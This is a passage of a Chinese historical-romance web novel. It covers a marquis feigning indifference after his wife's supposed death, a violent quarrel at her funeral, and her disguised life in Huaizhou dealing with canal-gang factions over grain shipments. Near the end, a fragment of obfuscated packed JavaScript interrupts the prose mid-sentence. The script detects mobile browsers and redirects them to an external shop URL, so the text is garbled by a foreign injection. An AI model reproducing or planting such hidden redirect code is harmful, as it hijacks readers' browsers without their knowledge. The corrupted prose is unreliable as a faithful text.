“唉……看来夫人是铁定心自焚,尸体腹部有朱砂残留……她在火起前,就因服用过量而失去了意识。”陈太医在一旁摇头道,“只可惜另外两人,被锁在了房间,只能眼睁睁看着自己被大火吞没。” 朱砂……李既白停下脚步,脑海中闪过宫宴时的场景。 他不愿让黎昭月掺和进这浑水,特意下了朱砂在酒中,而考虑到黎昭月练武,他便下了比平常多些的分量。只愿她能睡个好觉地度过这日,然后他再将她接回府中。 墨痕这时从门外凑近,“侯爷,三殿下来府上了。” 话落,李既白身子微不可察地抖了下,他突然命令道:“陈太医,你先回府。黎昭月是自焚,简直丢了侯府的脸面。” 待送走了陈太医,李既白紧绷的脊背骤然垮了几分。喉间那股强压的腥甜再也兜不住,只听“噗”的声闷响,一口黑红的污血直直喷出,溅在乌黑的地面上。 “侯爷!”墨痕惊呼。 李既白摆了摆手,“无妨……” 他摇摇晃晃向前,目光死死盯着那具尸身。 “钦宁,你跟墨痕……”他顿了下,“一起先去。” 二人四目相对,无声地退下。 李既白走至榻侧,“黎昭月……你真是好得很哪……” 他深吸一口气,脸上扯出了一抹带着疲惫和不耐的冷笑。面上痛恶,可心底却如同被毒藤缠绕,越来越紧。 这场火的由来,已经板上钉钉了。他原以为所做的一切能保护她,却没想到,最后是他亲手断送了黎昭月能逃走的唯一一丝可能。李既白啊,你才是害死她的真正凶手。 “哈哈哈哈哈哈哈哈哈哈!”他仰头大笑,嘴角咧到耳根,可眼神空茫得像蒙了层雾。 ——侯府书房 上官威一身常服,姿态闲适地靠在桌边,面上似笑非笑,“自姨母离世,倒是头一次来你们侯府,果真是气派得很,表弟打理得井井有序啊。” 李既白躬身,“殿下说笑了。” 上官威撇了撇嘴,目光在书房内扫过,最后落在李既白那张看不出情绪的脸上,“听闻别庄走了水,还折了那位刚烈的侯夫人?”他语气轻松,仿佛在谈论不足挂齿的小事。 李既白垂眸,声音平稳无波:“劳殿下挂心。不过是个不识抬举的妇人,死了倒也清净。” “哦?”上官威挑眉,走到主位坐下,“我还以为,你对她多少会有些旧情。” 他指尖轻轻敲着,“毕竟,当初让你娶她,虽是本皇子的命令,但看她那容貌性情,也不算委屈了你。” 李既白抬起头,哂笑道:“殿下说笑了。棋子而已,用完了,自然该弃。若非为了取得黎家信任,拿到他们与朝中某些老顽固往来的证据,臣何必与她虚与委蛇这许久?如今她自行了断,倒也省了臣一番手脚。” 他的话语冰冷彻骨,不带一丝人情味,完美地扮演着一个为达目的不择手段的走狗。 上官威仔细观察着他的神色,见他确实毫无悲戚,反而对黎昭月的死带着一种如释重负的厌弃,眼底的审视才稍稍淡去几分。 他哈哈一笑,语气几分戏谑:“说得不错!既白啊,你果然没让我失望。如今障碍已除,你与钦宁,总算可以光明正大地在一起了。钦宁对我忠心耿耿,又对你情深义重,有她在你身边辅佐,我也能更放心。” 曾钦宁适时低头,脸上飞起一抹红晕,声音轻柔:“殿下厚爱,钦宁愧不敢当。能陪伴侯爷左右,为殿下分忧,是钦宁的福分。” 上官威满意地点头,随即话锋一转,语气里带上几分惋惜和贪婪:“只是……黎家那边,到底死了个嫡女,怕是没那么容易善了。黎国公还有北境的黎昭雪,都是麻烦。不过……” 他拖长了语调,“黎昭月虽然死得早了点,没能用来威胁黎昭雪乖乖就范。但她带过来的那笔丰厚的嫁妆,尤其是商铺和田地,倒是实实在在的东西。可惜了,若是她再多活些时日,或许能榨出更多价值。” 李既白听着上官威用如此轻描淡写的语气,评判着黎昭月的价值,谈论着如何利用她来威胁她的兄长,胸腔内气血翻涌。 但他脸上依旧是那副冷漠甚至带着点算计的神情,他顺着上官威的话:“殿下所言极是。是臣疏忽了,未能尽早将她手中的产业彻底掌控。不过,她既已死,那些嫁妆和商铺名义上还是黎家的,我们若强行接手,恐惹人非议,打草惊蛇。” 他主动将问题引向如何善后,如何避免引起黎家激烈反抗,表现得完全从利益角度出发。 上官威看着他,眼中最后一丝疑虑似乎也消散了。他拍了拍李既白的肩膀:“无妨。死了便死了,那些产业,徐徐图之即可。眼下最重要的是北境。赵昆那边,需要黎昭雪彻底闭嘴。既然黎昭月没了,那就只能用别的法子。这件事,你要多费心。” “臣明白。”李既白躬身,“定不负殿下所托。” “很好。”上官威站起身,意味深长地看了他和曾钦宁一眼,“你们……好好安抚彼此。我等着你们的好消息。” 说完,他大笑几声,心情颇佳地离开了书房。 书房门重新关上。 李既白站在原地,一动不动。方才面对上官威时那份冰冷的镇定,如同潮水般褪去,显露的是一片死寂的荒芜。 曾钦宁默默走到他身边,没有出声安慰。她知道,此刻任何言语都是苍白的。她只是静静站在那里,如同一道沉默的影子。 良久,李既白才缓缓转过身。他的脸上没有任何表情,只有那双眼睛,红得骇人。 “他承认了……”李既白的声音沙哑得几乎碎裂,“就是他……” 曾钦宁看着他眼中那濒临崩溃的光芒,低声道:“他越是这样,我们越要冷静。殿下今日前来,看似信任,实则最后一场试探。你方才应对得很好,没有露出破绽。现在,他应该暂时不会再将注意力放在……已死的夫人身上。” 李既白闭上眼,深吸一口气,再睁开时,那疯狂的赤红被强行压下,取而代之的是一种更加深沉的决绝。 “我知道。”他声音低沉,“戏,还要继续演下去。而且要演得更好。” 他走到书案前,目光落在地图上落鹰涧的位置。 “昭雪兄那边……情况恐怕更危急了。”他沉声道,“上官威没了顾忌,只会更加不择手段。我们必须更快拿到赵昆通敌的确凿证据,否则……” 否则,不仅黎昭雪性命难保,北境防线也可能因此崩溃。 “我会加快与那边联络。”曾钦宁立刻领会他的意思,“江南的线,也可以用了。” 李既白点了点头,指尖重重按在落鹰涧的位置上,仿佛能感受到那片土地的焦灼与危急。 * 黎昭月的葬礼,到底没有“一切从简”。靖安侯府终究是勋贵门第,该有的规制不能少,只是气氛刻意营造得格外冷清压抑。灵堂设在侯府偏院,白幡低垂,棺椁静置,前来吊唁的宾客寥寥,多是走个过场,眼神中却难掩唏嘘。 李既白一身玄色常服,并未披麻戴孝,只臂上缠了一道白纱。他站在灵堂一侧,面容冷峻,眼神空洞地望着那具棺木。曾钦宁一身素白,安静地站在他身侧稍后的位置。 气氛沉闷得令人窒息。 就在仪式即将草草结束之际,灵堂外突然传来一阵激烈的喧哗, “让开!我要见李既白!” “启二公子,您不能进去!” “滚开!我今天非要砸了这灵堂,问问他李既白的心是不是黑的!” 启靳权一身风尘,显然是从外地匆匆赶回,他双目赤红,如同疯虎般冲破护卫的阻拦 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他踉跄着后退半步,却依旧站定了,抬手,用指腹缓缓擦去嘴角的血迹。他抬眼,看向启靳权,那眼神里没有愤怒,只有一片平静,和一丝仿佛解脱般的认命。 “打啊。”李既白开口,“继续啊。” 这三个字,如同火上浇油。 启靳权看着他这副带着挑衅的模样,仅存的理智彻底殆尽。 “你以为我不敢吗?!”启启靳权怒吼一声,再次扑上,拳脚如同雨点般落下,专往身上最疼的地方招呼。“把阿月还回来!你这个混蛋!冷血无情的畜生!” 李既白依旧没有还手。 他只是站在那里,如同一个失去了灵魂的木偶,任由启靳权厮打。拳头落在身上,疼痛刺激着神经,反而让他那颗被愧疚和绝望啃噬的心脏,获得了一丝扭曲的慰藉。 对,就是这样。他欠昭昭的,他欠所有爱她的人的。 这顿打,他该受。 灵堂内一片大乱,白幡被扯落,供桌被撞翻,香烛纸钱散落一地。宾客们惊慌失措地躲避,惊呼声此起彼伏。 墨痕和几个护卫想上前强行分开两人,却被李既白一个冰冷的眼神制止。 曾钦宁站在一旁,脸色苍白,双手紧紧绞着衣角。她看着李既白那近乎自虐的姿态,嘴角不断溢出鲜血,脸颊青肿。她心中明白,李既白是在用这种方式惩罚自己。 直到李既白被一记重拳击中腹部,闷哼一声,终于支撑不住,单膝跪倒在地,又是一口鲜血喷出。 “侯爷!”墨痕再顾不得命令,冲上前,一把架住还想继续扑上来的启靳权。 启靳权喘着粗气,看着狼狈不堪却依旧挺直脊背的李既白,他的眼神却平静得近乎诡异。满腔的怒火仿佛打在了棉花上,只剩下无尽的空虚和无力。 “李既白……”启靳权的声音带着哭腔和深深的疲惫,“你……你到底有没有心……” 李既白缓缓抬起头,染血的脸庞在素白灵堂的映衬下,显得格外刺目。他看着启靳权,嘴唇动了动,最终却什么也没说。 就在这时,灵堂外传来一个慢条斯理,带着几分玩味笑意的声音: “哟,这是唱的哪一出啊?在灵前大打出手?靖安侯,你这府上的规矩,还真是让本王开眼。” 上官威,不知何时出现在了灵堂门口,他负手而立,脸上是毫不掩饰的讥诮和看戏的神情,目光在李既白狼狈的身形和激愤的启靳权之间来回扫视。 他的到来,让混乱的灵堂瞬间安静下来。 李既白在墨痕的搀扶下挣扎站起。他抹去唇边的血,对着上官威的方向,扯出一个极其难看的笑:“让殿下见笑了。是臣治家不严,惊扰了殿下。” 他刻意将姿态放得极低,将一切归咎于自己。 上官威踱步进来,目光落在启靳权身上,语气陡然转冷:“启家二公子?好大的威风!敢在靖安侯府闹事行凶!看来启老将军平日里是太疏于管教了!” 这话,已是直接将矛头指向了启家。 启靳权赤红着眼睛瞪向上官威,刚想反驳,却被身边的随从死死拉住。 李既白适时咳嗽了两声,气息虚弱:“殿下息怒。是臣……是臣与启二公子有些旧日误会,一时冲动,惊扰了灵堂,与启家无关。一切……都是臣的过错。” 他这话,看似在为启靳权开脱,实则将自己放在了受害者的位置,更坐实了启靳权“行凶”的罪名。 上官威满意地看了李既白一眼,他冷哼一声:“既然靖安侯替你求情,今日便不多追究。但此事,绝不能就此罢休!启家教子无方之责,本皇子会禀明父皇!”说完,他不再看任何人,拂袖离开了灵堂。 启靳权被随从强行拉走,临走前,他回头看了李既白一眼。那眼神复杂难辨,有恨,有怒,还有一丝茫然。 灵堂内终于彻底安静下来。 李既白强撑着的一口气仿佛泄去,身体晃了晃,眼前一黑,直直向后倒去。 “侯爷!” 墨痕和曾钦宁同时惊呼,上前扶住他。 李既白陷入昏迷前,最后看到的,是灵堂正中那具冰冷的棺椁。 昭昭,你看……我又利用了你一次。 连你的葬礼,都成了我向上官威表忠心的工具。我真是个……彻头彻尾的混蛋。 意识沉入黑暗前,他仿佛听到心底深处一声微弱的叹息。 而此刻,坐马车回府的上官威,嘴角正噙着一抹冰冷的笑意。启家……一直是朝中不愿明确站队的中立派,这次,正好借启靳权这个莽夫的手,给他们一个教训。李既白这番“委屈求全”,更是将把柄亲手递到了他面前。 这盘棋,真是越来越有趣了。 24. 第二十四章 淮州的清晨,总带着湿漉漉的甜意,水汽氤氲在空气中。临水小院的天井里,苏晚正就着熹微的晨光,细细翻阅着锦心坊这个月的采买账目。 她一身素净的藕荷色襦裙,未施粉黛,头发依旧用那根素银簪松松挽着。一个月的光景,足以让“苏晚”这个身份在这座江南水城扎根。白日里,她是锦心坊那位能干的苏管事,夜晚回到这小院,她便是那个背负着过往的黎昭月。 “娘子,胡爷那边递了信儿来。”竹儿脚步轻快进来,脸上却带着掩不住的忧虑,“说是一切准备就绪,第一批粮食今晚就能装船,只是……” “只是什么?” 竹儿凑近了些:“只是漕帮那边,负责这段水路的刘三爷,突然说要加收三成的过路费,说是近来水路不太平,兄弟们辛苦。胡爷与他交涉,他却咬死不松口,话里话外还透着些别的意味,像是……有人打了招呼,刻意刁难。” 苏晚放下账本。胡天彪行事已足够隐秘,以行商的名义采购粮食,但如此大批量的粮草调动,终究还是引起了某些人的注意。这淮州地界,水远比想象中要深。 “三成……”她轻声重复,“胃口倒是不小。” 这加收的费用,绝非小事。北境军粮吃紧,胡天彪带来的银钱本就捉襟见肘,每一文都需用在刀刃上。这三成的额外支出,足以压垮这本就艰难的运粮计划。 “胡爷的意思是,若实在不行,是否考虑换一条路,或者……暂缓几日?”竹儿传达着胡天彪的犹豫。强龙不压地头蛇,漕帮在整个江南都掌管着水运命脉,硬碰硬绝非明智之举。 苏晚站起身,走到窗边。窗外几枝翠绿的芭蕉叶舒展开来,沾着晶莹的露水。她看着那滴水珠最终不堪重负,从叶尖滑落。 暂缓,北境的将士等不起。陆路耗费更大,且更易被沿途关卡盘查,风险更高。 “告诉胡爷,按原计划准备装船。”苏晚转过身,“漕帮刘三爷那边,我去会一会。” “娘子!”竹儿惊呼,“那刘三爷是出了名的难缠,而且…您亲自去,万一被认出……” “无妨。我现在是锦心坊的管事苏晚,与胡商有生意往来,前去商议货物水运事宜,合情合理。至于认出……”她轻轻抚了抚鬓角,那里空无一物,早已不是昔日侯府夫人珠翠环绕的模样,“淮州无人认识黎昭月,而苏晚,只是一个为生计奔波的普通寡妇。” --- 傍晚时分,苏晚带着竹儿,出现在了漕帮设在码头附近的堂口。 这是一处临河的大院,门口守着两个精悍的汉子。院内人声嘈杂,力夫,船工和客商穿梭不息,空气里混杂着河水腥气与烟草味。 通报了锦心坊苏管事的身份和来意后,两人被引到了偏厅等候。 厅内布置得颇为粗犷,红木桌椅,墙上挂着渔网和船桨作为装饰。主位空着,那位刘三爷架子不小。 帘子被掀开,一个身材魁梧的中年汉子走了进来。他约莫四十上下,穿着绸衫,手指上戴着个硕大的玉扳指,眼神倨傲,正是掌管淮州城西水路的刘三爷。 “哟,这位就是锦心坊的苏管事?”刘三爷大剌剌在主位坐下,目光在苏晚身上扫了一圈,语带轻蔑,“没想到是个这么年轻标致的小娘子,周坊主倒是会用人,谈生意都养眼得很。” 他话语里的轻浮让竹儿眉头一拧,下意识上前护住苏晚。苏晚却面色不变,姿态从容:“刘三爷谬赞。妇人苏晚,今日冒昧前来,是为了敝坊一批要紧的货物,想与三爷商议一下水运之事。” “货物?”刘三爷端起茶杯,吹了吹浮沫,慢悠悠呷了一口,“苏管事说的,是那位胡商采购的那批……粮食吧?” 苏晚心中了然,面上却适时露出恰到好处的惊讶与为难:“三爷消息灵通,正是。这批粮食是敝坊与胡商合作的一笔大生意,要得急,关乎敝坊信誉。听闻三爷这边近来水路不太平,要加收三成费用,这……实在是让我有些为难。敝坊小本经营,这三成并非小数目,不知三爷可否通融一二?” 刘三爷放下茶杯,嘿嘿一笑,身子往前倾了倾,“苏管事,不是刘某不通融。实在是近来上面查得严,兄弟们跑船风险大啊。再说了……这淮州地界上,有些生意能做,有些生意,碰了可是会烫手的。胡商这批粮食,来路去向,可都清楚?” 苏晚心头一凛。刘三爷这话,已是近乎赤裸的威胁。他不仅知道是粮食,甚至可能隐约猜到了这批粮食的真正去向。 她面上仍然镇定:“三爷说笑了,胡商是正经商人,粮食来路清白,不过是运往北边行销。若是费用实在无法减免,不知三爷可否在运送上多加上心,确保货物能平安准时抵达?这额外的辛苦费,敝坊还是愿意支付的,只是三成……实在力有未逮。” 刘三爷眯眼打量她,似乎在权衡。眼前这女子,看似温婉柔弱,言语间却滴水不漏,而且在这种场合下竟能不卑不亢,倒是让他有些意外。 就在这时,一个漕帮弟子匆匆进来,在刘三爷耳边低语了几句。 他脸色微变,看向苏晚的眼神多了几分探究和忌惮。他挥手让弟子退下,再开口时,语气竟缓和了不少: “苏管事既然开口了,刘某也不是不通情理之人。这样吧,三成确实多了点,那就……加收一成五。另外,我会派两条最好的船,经验最老道的船工负责押运,确保万无一失。如何?” 这突如其来的让步,让苏晚和竹儿都是一怔。苏晚心中疑窦丛生,但眼下局面有利,她自然不会放过:“多谢三爷体谅。一成五,敝坊可以接受。那一切就拜托三爷了,这是定金。”她示意竹儿递上早已准备好的银票。 刘三爷接过银票,看也没看就塞进怀里,哈哈一笑:“好说好说,苏管事是个爽快人!以后贵坊再有货物要走水路,尽管来找刘某!” 事情顺利得超乎想象。 走出漕帮堂口,傍晚的河风吹拂在脸上,带着水乡特有的温润。苏晚却感觉不到丝毫轻松,心头反而笼罩上一层更深的迷雾。 “娘子,刘三爷怎么突然就改口了?”竹儿满心疑惑,“而且,他后来看您的眼神…怪怪的。” 苏晚停下脚步,夜色中的淮州码头,灯火零星,与白日喧嚣判若两地。她站在不远处阴影里,看着粮食被力夫扛上船,悬着的心并未完全落下。 “竹儿,”她低声吩咐,“你去打听一下,刚才在堂口,那个进来对刘三爷耳语的弟子,是什么人,或者……他之前见了谁。” “是。”竹儿领命后便悄无声息地融入夜色。 苏晚则转身,走向与胡天彪约定碰头的货栈。货栈后院,胡天彪正焦灼地踱步,见到她,立刻迎上来:“苏娘子,如何?刘三爷那边……” “答应了,只加收一成五,并承诺派好船好手护送。”苏晚言简意赅。 胡天彪一愣,黝黑的脸上满是错愕:“一成五?这……这怎么可能?那刘扒皮向来吃人不吐骨头!”他狐疑地看着,“苏娘子,你……是不是答应了他们别的条件?” 苏晚摇头,眸色在昏暗的灯光下显得幽深:“没有。我也觉得蹊跷。他似乎……是临时改变了主意。” 两人正说话间,竹儿匆匆回来,气息微喘。 “娘子,打听到了!”她语气急促,“那个弟子是去通报,说……赵二爷派人传了话过来。” “赵二爷?”胡天彪眉头紧锁,“漕帮帮主的二儿子,赵衾?他怎么会插手这段水路的事?刘三爷不是大爷赵铭的人吗?” 漕帮内部派系林立,帮主年迈,大儿子赵铭与二儿子赵衾为争夺下一任帮主之位,明争暗斗已是公开的秘密。刘三爷是赵铭的得力干将,而赵衾则主要负责帮务之外的一些特殊生意,与各方势力牵扯更深,为人也更显阴鸷难测。 苏晚心中念头飞转。赵衾……她与此人素无交集,他为何会突然出面? “赵衾的人具体说了什么?”苏晚追问。 竹儿摇头:“那弟子口风很紧,只说是赵二爷的意思,让刘三爷行个方便,具体内容不肯透露。但刘三爷听完后,脸色变了几变,就对娘子您改了口。” “行个方便?”苏晚唇边泛起一丝冷诮。 苏晚她绝不相信这世上有无缘无故的善意,尤其是来自赵衾这种人物。这份“方便”,背后必然标好了价格,只是此刻隐而不发。 “看来,我们是被卷进漕帮的浑水里了。”胡天彪脸色凝重,“赵衾此人,名声不佳,与官府和一些来路不明的江湖势力都有牵扯,他插手,未必是好事。” 苏晚沉默片刻,抬眸看向那即将启航的粮船:“是浑水也得蹚。粮草必须送出去。至于赵衾……兵来将挡,水来土掩。我们小心应对便是。” 她顿了顿,对胡天彪道:“胡大哥,船一旦离港,你立刻按照第二套方案,将后续筹集的粮食分散储存,地点只有你我知晓。对外,我们这批货已经全部运走。” 胡天彪重重点头:“明白!苏娘子放心!” 安排妥当,苏晚带着竹儿离开货栈,返回临水小院。 夜色更深,河风带着凉意。走在寂静的巷弄里,竹儿忍不住低声问:“小姐……您说,会不会是京城的人,发现我们了,然后暗中帮咱们?” 苏晚脚步微顿,随即摇头,声音在夜风中显得有些飘忽:“不会,京城的手,伸不得这么快。” “那会是谁呢?”竹儿喃喃。 苏晚没有回答。她也在想这个问题。 回到小院,苏晚坐在灯下,铺开纸笔,开始梳理近日发生的一切。从顺利进入锦心坊,到筹措粮草,再到今夜漕帮的变故……看似顺利的背后,总感觉有一双无形的眼睛在注视着她们。 她必须更快地积蓄力量,建立属于自己的关系网。不能永远被动地依靠未知的援助或运气。 而与此同时,千里之外的京城。 靖安侯府书房内,李既白刚刚收到来自江南的密报。信上说,淮州一带近月确有一批数量不小的粮食被匿名商人收购,试图通过漕运北上,但在码头似乎遇到了一些阻碍,具体细节尚在探查。并未提及任何与“黎昭月”或“苏晚”相关的蛛丝马迹。 李既白放下密报,走到窗边,望着南方沉沉的夜空。昭昭,你真的在淮州吗?你是否安好? 他心中焦急如火燎,却不得不强迫自己冷静。他知道,他不能贸然行动,不能打草惊蛇。他必须像最耐心的猎人,布好所有的局,才能确保在她需要的时候,给予她最坚实的庇护。 “再等等,昭昭……”他低声自语,“等我扫清这些障碍,等我……找到你。” —— 次日一早,苏晚将锦心坊的日常事务处理妥当后,便以巡查绣娘们所需的丝线原料为由,带着竹儿来到了淮州城西最大的集市。 这里毗邻码头,三教九流汇聚。叫卖声此起彼伏,与船工的号子声构成了一幅鲜活而嘈杂的市井画卷。 苏晚今日依旧是一身素雅打扮,走在人群中并不起眼。她的目光却并未流连于琳琅满目的商品,而是敏锐地扫视着街边的铺面,特别是那些与漕运相关的货栈。 “娘子,我们这是要找什么?”竹儿紧跟着她,低声问道。 “找一条线。”苏晚声音平静,目光落在一家挂着“陈记货栈”招牌的铺面上,那里进出的人明显带着江湖气,衣着也与普通商贩不同,“打通四面八方的线。” 在集市转了一圈,苏晚走进一家看起来还算干净整洁的茶寮,选了个靠窗又能观察门口的位置坐下。她要了一壶最普通的绿茶,几样茶点,看似悠闲,却捕捉着茶寮内零星的交谈。 “听说了吗?昨儿晚上,刘三爷在醉春风和人争风吃醋,差点动起手来……” “啧,还不是为了那个新来的清倌人?三爷最近火气大,听说上面压得紧。” “压什么?还不是两位爷……” “嘘!慎言!不要命了?” 零星碎语,夹杂着对漕帮的内部争斗,虽不完整,却印证了胡天彪所言非虚。赵铭与赵衾的矛盾,已然影响到下层。 坐了约莫半个时辰,苏晚正欲起身离开,门口一阵小小的骚动。几个穿着短打,腰间挂着漕帮腰牌的汉子走了进来,为首一人身材高瘦,面色有些阴郁,眼神扫过茶寮,带着一种审视的味道。 茶寮老板显然认识他们,立刻堆着笑迎上去:“王头目,您来了,快里面请,雅间给您留着呢。” 那被称作王头目的高瘦汉子“嗯”了声,目光在扫过苏晚这一桌时却微微停了一下。苏晚垂下眼睑,端起茶杯,假意品茶,心中却是一动。 那王头目并未过多停留,带着人径直进了里面的雅间。 “竹儿,结账。”苏晚放下茶杯,轻声吩咐。 离开后,二人走在熙攘的街道上,苏晚心中那份异样感更重。那个王头目的眼神,不像是随机的好奇,倒像是……认出了她?或者说,认出了“苏晚”这个身份。 “娘子,刚才那些人……”竹儿也察觉到了不对,有些紧张地回头望了望。 “没事。”苏晚按下心中的波澜,“我们去陈记货栈看看。” 陈记货栈门面不小,里面堆放着各式货物,几个伙计模样的青年在忙碌,看似普通,但苏晚注意到,他们搬运货物的动作极为利落,下盘稳健,显然都身负武功。 苏晚没有直接进去,而是在对面的一个卖竹编的小摊前驻足,挑选器物,目光透过货栈敞开的门,观察着里面的情形。 没过多久,那个茶寮里见过的王头目,竟从货栈里走了出来,身边还跟着一个管事模样的人,两人在门口又低声交谈了几句,王头目才带着人离开。 苏晚的心沉了下去。这陈记货栈,果然与漕帮关系密切,而且极可能偏向赵衾这一系。这个王头目接连出现在她附近,绝非巧合。 “这位娘子,可是看上了什么?”竹编摊主是个面容慈祥的老婆婆,见苏晚看了许久,便热情地问道。 苏晚收回目光,随手拿起一个编织精巧的小提篮,笑道:“阿婆的手艺真好。这篮子很别致。”她状似无意地闲聊,“阿婆在此摆摊许久了吧?对面那家货栈生意真好,人来人往的。” 老婆婆一边整理着摊上的物件,一边随口答道:“是啊,陈记嘛,漕帮的产业,生意能不好吗?这码头一带,多少生意都得经过他们手。” “漕帮的产业?”苏晚故作惊讶,“我听闻漕帮有位刘三爷,很是了得,这陈记也是他管着吗?” 老婆婆摆了摆手,“刘三爷管着船和路,这货栈啊,是赵二爷的产业。不一样的。” 赵二爷,赵衾。 苏晚心中豁然开朗。这陈记货栈,竟是赵衾的直属产业。那个王头目,多半是赵衾手下的人。 苏晚买了那个小提篮,向老婆婆道了谢,带着竹儿离开了集市。 回锦心坊的路上,苏晚心绪不宁。 “竹儿,你去办两件事。” “娘子请吩咐。” “第一,想办法查清楚那个王头目的底细,在漕帮是什么地位,主要听命于谁。第二,留意一下,赵衾名下,除了陈记货栈,还有哪些明面上的产业。” “小姐,您是要……”竹儿有些担忧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604289|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “织网。”苏晚看着庭院中一株正在努力向上攀爬的藤蔓,轻声道:“别人已经把线头递到了我们手里,若不接着,岂不是辜负了这番‘好意’?” 她不知道赵衾是人是鬼,但在这暗流汹涌的淮州,多了解一条潜在的通道,哪怕是危险的,也比完全蒙在鼓里要强。 与此同时,淮州城另一处精致的别院内。 昨日在茶寮出现过的王头目,此刻正恭敬地站在书房中,向坐在窗边的一个身影汇报。 “二爷,属下确认过了,那位苏娘子,今日确实在集市出现,还特意在陈记货栈对面停留观察了片刻。” 窗边的人缓缓转过身,手指间把玩着一枚温润的玉佩,正是漕帮二公子,赵衾。 他嘴角勾起一抹玩味的笑意:“哦?看来是个聪明人,一点就透。刘三那个蠢货,怕是还以为自己拿捏住了人家。” “二爷,我们接下来……” “不急,”赵衾目光投向窗外,仿佛能穿透街巷,看到那个素衣女子的身影,“饵已经撒下去了,总要给她点时间琢磨,看看她敢不敢咬钩。这位苏娘子……可比我们之前想的,有趣得多。继续看着,非必要,不必插手。我倒要看看,她这条过江的鲫鱼,能在这淮州水里,翻起多大的浪花。” 王头目躬身应下,悄然退了出去。 赵衾摩挲着手中的玉佩,眼中闪烁着算计的光芒。他之所以出手“帮”那个苏晚,自然不是出于善心。一是看不惯大哥赵铭手下刘三那伙人吃相难看,给他添点堵;二来,这个突然冒出来的,能力不俗又背景成谜的寡妇,引起了他极大的兴趣。他隐隐觉得,这个女人,或许能成为他对付大哥,乃至在更复杂的棋局中,一枚意想不到的棋子。 关键在于,她够不够聪明,够不够胆大。而现在看来,她似乎,两者兼备。 接下来的两日,风平浪静。 锦心坊的运作井然有序,苏晚设计的几款新图样,得到了周坊主的大力赞赏,已吩咐绣娘加紧赶制样品。胡天彪那边的粮食也已顺利装船,按照新的路线悄然北上,暂时未有坏消息传来。 然而,苏晚心知,这平静不过是暴风雨前的间歇。那个王头目的眼神,赵衾隐在幕后的影子,都像悬在头顶的利剑,不知何时会落下。 她在等。等竹儿探查的消息,也在等赵衾下一步的动作。 果然,在第三日下午,苏晚正在坊内核对一批新到的苏绣原料时,一个面生的小厮找上了门,指名要见苏管事。 来人衣着普通,态度却不卑不亢,递上一份素雅的帖子,封面上没有任何署名,只有一枚类似水纹的暗记。 “我家主人仰慕苏管事才名,特在望江楼设下薄宴,恳请苏管事赏光一叙。”小厮恭敬道。 望江楼,淮州城最有名的酒楼之一,临江而建,价格不菲,非寻常百姓所能消费。 苏晚接过帖子,并未立即打开,“不知贵主人是?” 小厮微微一笑:“苏管事去了便知。我家主人说,苏管事是聪明人,定然不会让他失望。” 这是不给她拒绝的余地,也是一种笃定的试探。 苏晚沉吟片刻。躲是躲不掉的,既然对方已经找上门,避而不见可能激化矛盾。不如就去会一会这位神秘人,看看他究竟意欲何为。 “回去禀告你主人,苏晚准时赴约。” 待人走后,苏晚才打开帖子。里面是一张质地优良的洒金笺,上面用一手略显张扬的行书写着时间地点,依旧没有落款,但那笔锋走势,张扬跋扈。 “娘子,这……”竹儿在一旁看得心惊肉跳,“这肯定是那个赵衾!望江楼是他的地盘,您一个人去太危险了!” 苏晚将帖子合上,“他知道我是谁,至少知道‘苏晚’这个身份。他若想对我不利,不必用请帖这种方式。” “那也不能去!”竹儿急道,“谁知道他安了什么心!万一……” “没有万一。”苏晚打断她,眼神冷静得近乎可怕,“在淮州,我们绕不开漕帮。刘三爷是明着的豺狼,赵衾是暗处的毒蛇。豺狼易躲,毒蛇难防。既然他主动现身,总好过一直在暗处窥伺,让我们时刻提防。” 她看向竹儿,吩咐道:“你去准备一下。不必声张,就像我寻常外出一样。另外,通知胡爷一声,让他知晓我的去向,但告诉他,无论发生什么,没有我的信号,绝不可轻举妄动。” 她不能带太多人去,那会显得怯懦。但也不能毫无准备。 傍晚时分,夕阳将淮水染成一片瑰丽的橘红。她只带了竹儿一人,乘车前往望江楼。 望江楼飞檐翘角,灯火通明。跑堂的伙计眼力极佳,见苏晚气质不凡,又听她报出“苏管事”之名,立刻躬身引路,并未多问,径直将她引向了三楼一间最为僻静的雅间。 推开雕花木门,视野开朗。整面墙的窗户正对着江面,暮色中渔火点点,江风裹挟水汽涌入,带着冬日的凉意。 房间内,一个男子正背对着门口,负手立于窗前,欣赏着江景。听到开门声,他缓缓转过身来。 赵衾比苏晚想象的要年轻一些,面容算不上英俊,但那双微微上挑的凤眼却格外有神,还有几分精明和算计。他脸上带着恰到好处的笑容,既不显得过分热络,也不让人感觉被轻视。 “苏管事,幸会。”赵衾拱手,“冒昧相邀,还望勿怪。” 苏晚压下心中的波澜,屈膝还了一礼,“赵二爷言重了。能得二爷相请,是苏晚的荣幸。” 两人目光在空中短暂相接,各不相让。 “苏管事请坐。”赵衾率先移开目光,示意苏晚在临窗的桌旁坐下。桌上已摆好了几样精致的江南小菜和一壶烫好的酒。 竹儿被安排在门外等候,雅间内只剩下他们二人。 “听闻苏管事来自京城,却能在短短时日内,在锦心坊脱颖而出,更是助北地胡商打通关节,运粮北上,赵某佩服。”赵衾亲自执壶,为苏晚斟了一杯酒,开门见山,话语却如惊雷。 苏晚并未去碰那杯酒,只微微笑道:“二爷消息灵通,苏晚愧不敢当。不过是坊主抬爱,混口饭吃。至于胡商运粮,乃是正经生意,苏晚只是居中牵线,赚些跑腿钱罢了,不敢当‘打通关节’之说。” 她将一切都推得干干净净,咬定只是寻常商业行为。 赵衾也不在意,自顾自地饮了一杯,目光落在苏晚那根素银簪上,似笑非笑:“苏管事过谦了。刘三那厮坐地起价,寻常商贾早已退避三舍,苏管事却敢单刀赴会,勇气可嘉。” 他声音压低了几分,带着几分蛊惑:“明人面前不说暗话。苏管事,你助北地运粮,所图为何?钱财?还是……另有所求?” 房间内的空气仿佛瞬间凝固。江风从窗口涌入,吹动了苏晚额前的碎发,也吹动了桌上烛火,光影在她沉静的脸上明明灭灭。 